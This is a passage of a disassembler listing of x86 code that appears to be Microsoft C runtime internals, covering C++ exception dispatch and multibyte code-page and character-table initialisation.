		cmp	dword ptr [eax+74h], 0
		jz	short loc_41CB4C
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_417C3E
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CBCA


loc_41CB4C:				; CODE XREF: sub_41CB0D+1Ej
		mov	esi, [ebp+arg_14]
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_417ADE
		mov	edi, eax
		mov	eax, [ebp+var_4]
		add	esp, 14h
		cmp	eax, [ebp+var_8]
		jnb	short loc_41CBC9
		push	ebx


loc_41CB72:				; CODE XREF: sub_41CB0D+B9j
		cmp	esi, [edi]
		jl	short loc_41CBBA
		cmp	esi, [edi+4]
		jg	short loc_41CBBA
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41CB93
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41CBBA


loc_41CB93:				; CODE XREF: sub_41CB0D+7Ej
		mov	esi, [ebp+arg_4]
		push	1
		push	[ebp+arg_1C]
		lea	ebx, [eax-10h]
		push	[ebp+arg_18]
		xor	ecx, ecx
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_41CAA6
		mov	esi, [ebp+arg_14]
		add	esp, 1Ch


loc_41CBBA:				; CODE XREF: sub_41CB0D+67j
					; sub_41CB0D+6Cj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 14h
		cmp	eax, [ebp+var_8]
		jb	short loc_41CB72
		pop	ebx


loc_41CBC9:				; CODE XREF: sub_41CB0D+62j
		pop	edi


loc_41CBCA:				; CODE XREF: sub_41CB0D+Fj
					; sub_41CB0D+3Dj
		pop	esi
		leave
		retn
sub_41CB0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CBCD	proc near		; CODE XREF: sub_41CDAF+93p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		and	byte ptr [ebp+var_1C], 0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		jl	short loc_41CBED
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41CBF2


loc_41CBED:				; CODE XREF: sub_41CBCD+16j
		call	sub_41CE86


loc_41CBF2:				; CODE XREF: sub_41CBCD+1Ej
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx], 0E06D7363h
		push	esi
		push	edi
		jnz	loc_41CD84
		cmp	dword ptr [ebx+10h], 3
		mov	edi, 19930520h
		jnz	short loc_41CC7E
		cmp	[ebx+14h], edi
		jnz	short loc_41CC7E
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_41CC7E
		call	sub_41915F
		cmp	dword ptr [eax+78h], 0
		jz	loc_41CD7C
		call	sub_41915F
		mov	esi, [eax+78h]
		mov	[ebp+arg_0], esi
		call	sub_41915F
		mov	eax, [eax+7Ch]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_1C], 1
		call	sub_42069D
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41CC56
		call	sub_41CE86


loc_41CC56:				; CODE XREF: sub_41CBCD+82j
		cmp	dword ptr [esi], 0E06D7363h
		jnz	loc_41CD81
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41CC7B
		cmp	[eax+14h], edi
		jnz	short loc_41CC7B
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41CC7B
		call	sub_41CE86


loc_41CC7B:				; CODE XREF: sub_41CBCD+9Cj
					; sub_41CBCD+A1j ...
		mov	ebx, [ebp+arg_0]


loc_41CC7E:				; CODE XREF: sub_41CBCD+40j
					; sub_41CBCD+45j ...
		cmp	dword ptr [ebx], 0E06D7363h
		jnz	loc_41CD84
		cmp	dword ptr [ebx+10h], 3
		jnz	loc_41CD84
		cmp	[ebx+14h], edi
		jnz	loc_41CD84
		mov	esi, [ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_417ADE
		mov	ecx, [ebp+var_8]
		add	esp, 14h
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_4], eax
		jnb	loc_41CD6C
		jmp	short loc_41CCCB
; ---------------------------------------------------------------------------


loc_41CCC8:				; CODE XREF: sub_41CBCD+199j
		mov	esi, [ebp+var_18]


loc_41CCCB:				; CODE XREF: sub_41CBCD+F9j
		cmp	[eax], esi
		jg	loc_41CD57
		cmp	esi, [eax+4]
		jg	short loc_41CD57
		mov	ecx, [eax+0Ch]
		test	ecx, ecx
		mov	esi, [eax+10h]
		mov	[ebp+var_14], ecx
		jle	short loc_41CD57


loc_41CCE5:				; CODE XREF: sub_41CBCD+15Bj
		mov	ecx, [ebx+1Ch]
		mov	ecx, [ecx+0Ch]
		lea	edx, [ecx+4]
		mov	ecx, [ecx]
		test	ecx, ecx
		mov	[ebp+var_C], edx
		mov	[ebp+var_10], ecx
		jle	short loc_41CD1E


loc_41CCFA:				; CODE XREF: sub_41CBCD+14Cj
		mov	eax, [ebp+var_C]
		mov	edi, [eax]
		push	dword ptr [ebx+1Ch]
		mov	[ebp+var_24], edi
		call	sub_41C5E6
		test	eax, eax
		pop	ecx
		jnz	short loc_41CD2C
		dec	[ebp+var_10]
		add	[ebp+var_C], 4
		cmp	[ebp+var_10], eax
		jg	short loc_41CCFA
		mov	eax, [ebp+var_4]


loc_41CD1E:				; CODE XREF: sub_41CBCD+12Bj
		dec	[ebp+var_14]
		add	esi, 10h
		cmp	[ebp+var_14], 0
		jg	short loc_41CCE5
		jmp	short loc_41CD57
; ---------------------------------------------------------------------------


loc_41CD2C:				; CODE XREF: sub_41CBCD+140j
		push	[ebp+var_1C]
		mov	edi, [ebp+var_4]
		push	[ebp+arg_1C]
		mov	ecx, [ebp+var_24]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		mov	ebx, esi
		mov	esi, [ebp+arg_4]
		call	sub_41CAA6
		mov	ebx, [ebp+arg_0]
		add	esp, 1Ch
		mov	eax, edi


loc_41CD57:				; CODE XREF: sub_41CBCD+100j
					; sub_41CBCD+109j ...
		inc	[ebp+var_8]
		mov	ecx, [ebp+var_8]
		add	eax, 14h
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_4], eax
		jb	loc_41CCC8


loc_41CD6C:				; CODE XREF: sub_41CBCD+F3j
		cmp	[ebp+arg_14], 0
		jz	short loc_41CD7C
		push	1
		push	ebx
		call	sub_41C721
		pop	ecx
		pop	ecx


loc_41CD7C:				; CODE XREF: sub_41CBCD+56j
					; sub_41CBCD+1A3j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41CD81:				; CODE XREF: sub_41CBCD+8Fj
		mov	ebx, [ebp+arg_0]


loc_41CD84:				; CODE XREF: sub_41CBCD+31j
					; sub_41CBCD+B7j ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CDAA
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_41CB0D
		add	esp, 20h
		jmp	short loc_41CD7C
; ---------------------------------------------------------------------------


loc_41CDAA:				; CODE XREF: sub_41CBCD+1BBj
		jmp	sub_41CE51
sub_41CBCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CDAF	proc near		; CODE XREF: .text:00417A34p
					; .text:00417A64p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		mov	eax, [esi]
		push	edi
		and	eax, 1FFFFFFFh
		mov	edi, 19930520h
		cmp	eax, edi
		jz	short loc_41CDCC
		call	sub_41CE86


loc_41CDCC:				; CODE XREF: sub_41CDAF+16j
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41CDF4
		cmp	dword ptr [esi+4], 0
		jz	short loc_41CE4A
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CE4A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41C653
		add	esp, 10h
		jmp	short loc_41CE4A
; ---------------------------------------------------------------------------


loc_41CDF4:				; CODE XREF: sub_41CDAF+24j
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41CE4A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CE2E
		cmp	[eax+14h], edi
		jbe	short loc_41CE2E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41CE2E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41CE4D
; ---------------------------------------------------------------------------


loc_41CE2E:				; CODE XREF: sub_41CDAF+51j
					; sub_41CDAF+56j ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41CBCD
		add	esp, 20h


loc_41CE4A:				; CODE XREF: sub_41CDAF+2Aj
					; sub_41CDAF+30j ...
		xor	eax, eax
		inc	eax


loc_41CE4D:				; CODE XREF: sub_41CDAF+7Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41CDAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE51	proc near		; CODE XREF: sub_41C635+19j
					; .text:0041C761j ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004206ED SIZE 00000018 BYTES

		push	8
		push	offset stru_42C5F0
		call	__SEH_prolog
		call	sub_41915F
		cmp	dword ptr [eax+6Ch], 0
		jz	short loc_41CE81
		and	[ebp+ms_exc.disabled], 0
		call	sub_41915F
		call	dword ptr [eax+6Ch]
		jmp	short loc_41CE7D
; ---------------------------------------------------------------------------


loc_41CE76:				; DATA XREF: .text:stru_42C5F0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41CE7A:				; DATA XREF: .text:stru_42C5F0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_41CE7D:				; CODE XREF: sub_41CE51+23j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_41CE81:				; CODE XREF: sub_41CE51+15j
		jmp	loc_4206ED
sub_41CE51	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE86	proc near		; CODE XREF: sub_417ADE+23p
					; sub_417ADE:loc_417B48p ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset stru_42C600
		call	__SEH_prolog
		mov	eax, off_432A50
		test	eax, eax
		jz	short loc_41CEAE
		and	[ebp+ms_exc.disabled], 0
		call	eax ; sub_41CE51
		jmp	short loc_41CEAA
; ---------------------------------------------------------------------------


loc_41CEA3:				; DATA XREF: .text:stru_42C600o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41CEA7:				; DATA XREF: .text:stru_42C600o
		mov	esp, [ebp+ms_exc.old_esp]


loc_41CEAA:				; CODE XREF: sub_41CE86+1Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_41CEAE:				; CODE XREF: sub_41CE86+13j
		jmp	sub_41CE51
sub_41CE86	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEC0	proc near		; CODE XREF: sub_417BED+3Dp
					; sub_41C653+68p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_417DBD
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41CEFF
		mov	ecx, 2


loc_41CEFF:				; CODE XREF: sub_41CEC0+38j
		push	ecx
		call	sub_417DBD
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41CEC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF0C	proc near		; CODE XREF: sub_41D165+FFp
					; sub_41D165+149p
		sub	eax, 3A4h
		jz	short loc_41CF35
		sub	eax, 4
		jz	short loc_41CF2F
		sub	eax, 0Dh
		jz	short loc_41CF29
		dec	eax
		jz	short loc_41CF23
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CF23:				; CODE XREF: sub_41CF0C+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41CF29:				; CODE XREF: sub_41CF0C+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41CF2F:				; CODE XREF: sub_41CF0C+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41CF35:				; CODE XREF: sub_41CF0C+5j
		mov	eax, 411h
		retn
sub_41CF0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF3B	proc near		; CODE XREF: sub_41D165:loc_41D2DAp
		push	edi
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_481700
		rep stosd
		stosb
		xor	eax, eax
		mov	dword_481804, eax
		mov	dword_4816E8, eax
		mov	dword_4816E0, eax
		mov	edi, offset word_481810
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41CF3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF64	proc near		; CODE XREF: sub_41D165:loc_41D2DFp

var_518		= word ptr -518h
var_318		= byte ptr -318h
var_218		= byte ptr -218h
var_118		= byte ptr -118h
var_18		= byte ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 518h
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	dword_481804
		call	dword_4221B4	; GetCPInfo
		cmp	eax, 1
		mov	esi, 100h
		jnz	loc_41D0A4
		xor	eax, eax


loc_41CF99:				; CODE XREF: sub_41CF64+3Fj
		mov	[ebp+eax+var_118], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41CF99
		mov	al, [ebp+var_12]
		test	al, al
		mov	[ebp+var_118], 20h
		jz	short loc_41CFE9
		push	ebx
		lea	edx, [ebp+var_11]
		push	edi


loc_41CFB8:				; CODE XREF: sub_41CF64+81j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41CFDF
		sub	ecx, eax
		inc	ecx
		mov	ebx, ecx
		shr	ecx, 2
		lea	edi, [ebp+eax+var_118]
		mov	eax, 20202020h
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41CFDF:				; CODE XREF: sub_41CF64+5Cj
		inc	edx
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_41CFB8
		pop	edi
		pop	ebx


loc_41CFE9:				; CODE XREF: sub_41CF64+4Dj
		push	0
		push	dword_4816E0
		lea	eax, [ebp+var_518]
		push	dword_481804
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	1
		call	sub_41E8E0
		push	0
		push	dword_481804
		lea	eax, [ebp+var_218]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	esi
		push	dword_4816E0
		call	sub_41C139
		push	0
		push	dword_481804
		lea	eax, [ebp+var_318]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	200h
		push	dword_4816E0
		call	sub_41C139
		add	esp, 5Ch
		xor	eax, eax


loc_41D05E:				; CODE XREF: sub_41CF64+13Cj
		mov	cx, [ebp+eax*2+var_518]
		test	cl, 1
		jz	short loc_41D081
		or	byte_481701[eax], 10h
		mov	cl, [ebp+eax+var_218]


loc_41D079:				; CODE XREF: sub_41CF64+130j
		mov	byte_481820[eax], cl
		jmp	short loc_41D09D
; ---------------------------------------------------------------------------


loc_41D081:				; CODE XREF: sub_41CF64+105j
		test	cl, 2
		jz	short loc_41D096
		or	byte_481701[eax], 20h
		mov	cl, [ebp+eax+var_318]
		jmp	short loc_41D079
; ---------------------------------------------------------------------------


loc_41D096:				; CODE XREF: sub_41CF64+120j
		and	byte_481820[eax], 0


loc_41D09D:				; CODE XREF: sub_41CF64+11Bj
		inc	eax
		cmp	eax, esi
		jb	short loc_41D05E
		jmp	short loc_41D0E8
; ---------------------------------------------------------------------------


loc_41D0A4:				; CODE XREF: sub_41CF64+2Dj
		xor	eax, eax


loc_41D0A6:				; CODE XREF: sub_41CF64+182j
		cmp	eax, 41h
		jb	short loc_41D0C4
		cmp	eax, 5Ah
		ja	short loc_41D0C4
		or	byte_481701[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41D0BC:				; CODE XREF: sub_41CF64+176j
		mov	byte_481820[eax], cl
		jmp	short loc_41D0E3
; ---------------------------------------------------------------------------


loc_41D0C4:				; CODE XREF: sub_41CF64+145j
					; sub_41CF64+14Aj
		cmp	eax, 61h
		jb	short loc_41D0DC
		cmp	eax, 7Ah
		ja	short loc_41D0DC
		or	byte_481701[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41D0BC
; ---------------------------------------------------------------------------


loc_41D0DC:				; CODE XREF: sub_41CF64+163j
					; sub_41CF64+168j
		and	byte_481820[eax], 0


loc_41D0E3:				; CODE XREF: sub_41CF64+15Ej
		inc	eax
		cmp	eax, esi
		jb	short loc_41D0A6


loc_41D0E8:				; CODE XREF: sub_41CF64+13Ej
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		call	sub_41C526
		leave
		retn
sub_41CF64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0F6	proc near		; CODE XREF: sub_41D469+1Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_42C610
		call	__SEH_prolog
		push	0Dh
		call	sub_41A166
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		call	sub_41915F
		mov	edi, eax
		mov	[ebp+var_1C], edi
		mov	esi, [edi+60h]
		mov	[ebp+var_20], esi
		cmp	esi, dword_4816E4
		jz	short loc_41D148
		test	esi, esi
		jz	short loc_41D135
		dec	dword ptr [esi]
		jnz	short loc_41D135
		push	esi
		call	sub_416C97
		pop	ecx


loc_41D135:				; CODE XREF: sub_41D0F6+32j
					; sub_41D0F6+36j
		mov	eax, dword_4816E4
		mov	[edi+60h], eax
		mov	esi, dword_4816E4
		mov	[ebp+var_20], esi
		inc	dword ptr [esi]


loc_41D148:				; CODE XREF: sub_41D0F6+2Ej
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41D15C
		mov	eax, esi
		call	__SEH_epilog
		retn
sub_41D0F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D159	proc near		; DATA XREF: .text:stru_42C610o
		mov	esi, [ebp-20h]
sub_41D159	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D15C	proc near		; CODE XREF: sub_41D0F6+56p
		push	0Dh
		call	sub_41A0D2
		pop	ecx
		retn
sub_41D15C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D165	proc near		; CODE XREF: sub_41D2FB+9Fp

var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		mov	[ebp+var_4], eax
		push	edi
		jz	loc_41D2DA
		xor	edx, edx
		xor	eax, eax


loc_41D18A:				; CODE XREF: sub_41D165+36j
		cmp	dword_432A68[eax], esi
		jz	short loc_41D1F7
		add	eax, 30h
		inc	edx
		cmp	eax, 0F0h
		jb	short loc_41D18A
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_4221B4	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41D2D2
		push	40h
		xor	eax, eax
		cmp	[ebp+var_1C], 1
		pop	ecx
		mov	edi, offset byte_481700
		rep stosd
		stosb
		mov	dword_481804, esi
		mov	dword_4816E0, ebx
		jbe	loc_41D2C0
		cmp	[ebp+var_16], 0
		jz	loc_41D298
		lea	ecx, [ebp+var_15]


loc_41D1E1:				; CODE XREF: sub_41D165+12Dj
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41D298
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl
		jmp	loc_41D288
; ---------------------------------------------------------------------------


loc_41D1F7:				; CODE XREF: sub_41D165+2Bj
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_481700
		rep stosd
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		mov	[ebp+var_8], ebx
		stosb
		lea	ebx, dword_432A78[ecx]


loc_41D213:				; CODE XREF: sub_41D165+EBj
		mov	al, [ebx]
		mov	esi, ebx
		jmp	short loc_41D242
; ---------------------------------------------------------------------------


loc_41D219:				; CODE XREF: sub_41D165+DFj
		mov	dl, [esi+1]
		test	dl, dl
		jz	short loc_41D246
		movzx	eax, al
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41D23E
		mov	edx, [ebp+var_8]
		mov	dl, byte_432A60[edx]


loc_41D233:				; CODE XREF: sub_41D165+D7j
		or	byte_481701[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41D233


loc_41D23E:				; CODE XREF: sub_41D165+C3j
		inc	esi
		inc	esi
		mov	al, [esi]


loc_41D242:				; CODE XREF: sub_41D165+B2j
		test	al, al
		jnz	short loc_41D219


loc_41D246:				; CODE XREF: sub_41D165+B9j
		inc	[ebp+var_8]
		add	ebx, 8
		cmp	[ebp+var_8], 4
		jb	short loc_41D213
		mov	eax, [ebp+arg_0]
		mov	dword_481804, eax
		mov	dword_4816E8, 1
		call	sub_41CF0C
		lea	ecx, dword_432A6C[ecx]
		mov	esi, ecx
		mov	edi, offset word_481810
		movsd
		movsd
		mov	dword_4816E0, eax
		movsd
		jmp	short loc_41D2DF
; ---------------------------------------------------------------------------


loc_41D280:				; CODE XREF: sub_41D165+125j
		or	byte_481701[eax], 4
		inc	eax


loc_41D288:				; CODE XREF: sub_41D165+8Dj
		cmp	eax, edx
		jbe	short loc_41D280
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41D1E1


loc_41D298:				; CODE XREF: sub_41D165+73j
					; sub_41D165+80j
		xor	ecx, ecx
		inc	ecx
		mov	eax, ecx


loc_41D29D:				; CODE XREF: sub_41D165+145j
		or	byte_481701[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41D29D
		mov	eax, esi
		call	sub_41CF0C
		mov	dword_4816E0, eax
		mov	dword_4816E8, ecx
		jmp	short loc_41D2C6
; ---------------------------------------------------------------------------


loc_41D2C0:				; CODE XREF: sub_41D165+69j
		mov	dword_4816E8, ebx


loc_41D2C6:				; CODE XREF: sub_41D165+159j
		xor	eax, eax
		mov	edi, offset word_481810
		stosd
		stosd
		stosd
		jmp	short loc_41D2DF
; ---------------------------------------------------------------------------


loc_41D2D2:				; CODE XREF: sub_41D165+46j
		cmp	dword_481328, ebx
		jz	short loc_41D2E8


loc_41D2DA:				; CODE XREF: sub_41D165+1Bj
		call	sub_41CF3B


loc_41D2DF:				; CODE XREF: sub_41D165+119j
					; sub_41D165+16Bj
		call	sub_41CF64
		xor	eax, eax
		jmp	short loc_41D2EB
; ---------------------------------------------------------------------------


loc_41D2E8:				; CODE XREF: sub_41D165+173j
		or	eax, 0FFFFFFFFh


loc_41D2EB:				; CODE XREF: sub_41D165+181j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41C526
		leave
		retn
sub_41D165	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2FB	proc near		; CODE XREF: sub_41D44B+Bp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	14h
		push	offset stru_42C620
		call	__SEH_prolog
		or	[ebp+var_1C], 0FFFFFFFFh
		push	0Dh
		call	sub_41A166
		pop	ecx
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		mov	dword_481328, edi
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41D338
		mov	dword_481328, 1
		call	dword_4221B0	; GetOEMCP
		jmp	short loc_41D363
; ---------------------------------------------------------------------------


loc_41D338:				; CODE XREF: sub_41D2FB+29j
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41D34F
		mov	dword_481328, 1
		call	dword_4221AC	; GetACP
		jmp	short loc_41D363
; ---------------------------------------------------------------------------


loc_41D34F:				; CODE XREF: sub_41D2FB+40j
		cmp	eax, 0FFFFFFFCh
		jnz	short loc_41D363
		mov	dword_481328, 1
		mov	eax, dword_481488


loc_41D363:				; CODE XREF: sub_41D2FB+3Bj
					; sub_41D2FB+52j ...
		mov	[ebp+arg_0], eax
		cmp	eax, dword_481804
		jz	loc_41D42D
		mov	esi, dword_4816E4
		mov	[ebp+var_20], esi
		cmp	esi, edi
		jz	short loc_41D383
		cmp	[esi], edi
		jz	short loc_41D393


loc_41D383:				; CODE XREF: sub_41D2FB+82j
		push	220h
		call	sub_416DAF
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_20], esi


loc_41D393:				; CODE XREF: sub_41D2FB+86j
		cmp	esi, edi
		jz	short loc_41D416
		push	[ebp+arg_0]
		call	sub_41D165
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jnz	short loc_41D416
		mov	[esi], edi
		mov	eax, dword_481804
		mov	[esi+4], eax
		mov	eax, dword_4816E8
		mov	[esi+8], eax
		mov	eax, dword_4816E0
		mov	[esi+0Ch], eax
		xor	eax, eax


loc_41D3C3:				; CODE XREF: sub_41D2FB+DEj
		mov	[ebp+var_24], eax
		cmp	eax, 5
		jge	short loc_41D3DB
		mov	cx, word_481810[eax*2]
		mov	[esi+eax*2+10h], cx
		inc	eax
		jmp	short loc_41D3C3
; ---------------------------------------------------------------------------


loc_41D3DB:				; CODE XREF: sub_41D2FB+CEj
		xor	eax, eax


loc_41D3DD:				; CODE XREF: sub_41D2FB+F7j
		mov	[ebp+var_24], eax
		cmp	eax, 101h
		jge	short loc_41D3F4
		mov	cl, byte_481700[eax]
		mov	[eax+esi+1Ch], cl
		inc	eax
		jmp	short loc_41D3DD
; ---------------------------------------------------------------------------


loc_41D3F4:				; CODE XREF: sub_41D2FB+EAj
		xor	eax, eax


loc_41D3F6:				; CODE XREF: sub_41D2FB+113j
		mov	[ebp+var_24], eax
		cmp	eax, 100h
		jge	short loc_41D410
		mov	cl, byte_481820[eax]
		mov	[eax+esi+11Dh],	cl
		inc	eax
		jmp	short loc_41D3F6
; ---------------------------------------------------------------------------


loc_41D410:				; CODE XREF: sub_41D2FB+103j
		mov	dword_4816E4, esi


loc_41D416:				; CODE XREF: sub_41D2FB+9Aj
					; sub_41D2FB+AAj
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_41D430
		cmp	esi, dword_4816E4
		jz	short loc_41D430
		push	esi
		call	sub_416C97
